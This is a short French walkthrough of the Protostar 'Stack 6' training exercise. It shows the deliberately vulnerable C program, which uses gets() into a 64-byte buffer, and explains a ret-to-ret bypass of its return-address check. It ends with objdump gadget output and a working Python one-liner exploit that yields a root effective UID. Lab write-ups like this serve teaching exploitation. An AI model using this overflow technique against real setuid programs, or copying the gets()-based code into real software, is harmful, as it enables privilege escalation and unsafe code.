====== Stack 6 ======
#include
#include
#include
#include
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Petite difficulté en plus, cette fois ci nous ne pouvons pas faire sauter directement le programme sur une adresse commençant par ''0xbf''. Cependant, si on fait sauter le programme sur lui même, sur un ''ret'' par exemple. Il va dépiler une adresse et sauter dessus de nouveau ! Il suffit de donc de faire sauter le programme sur un ''ret'' et de donner ensuite l'adresse de notre shellcode pour que celui ci saute dessus.
user@protostar:/opt/protostar/bin$ objdump -S ./stack6 | grep ret
804835f: c3 ret <<<< On prend celui ci par exemple
8048454: c3 ret
8048482: c3 ret
80484f9: c3 ret
8048508: c3 ret
8048514: c3 ret
8048579: c3 ret
804857d: c3 ret
80485a9: c3 ret
80485c7: c3 ret
user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x5f\x83\x04\x08"+"\x6f\xfd\xff\xbf"'; cat) | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAA_o???
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)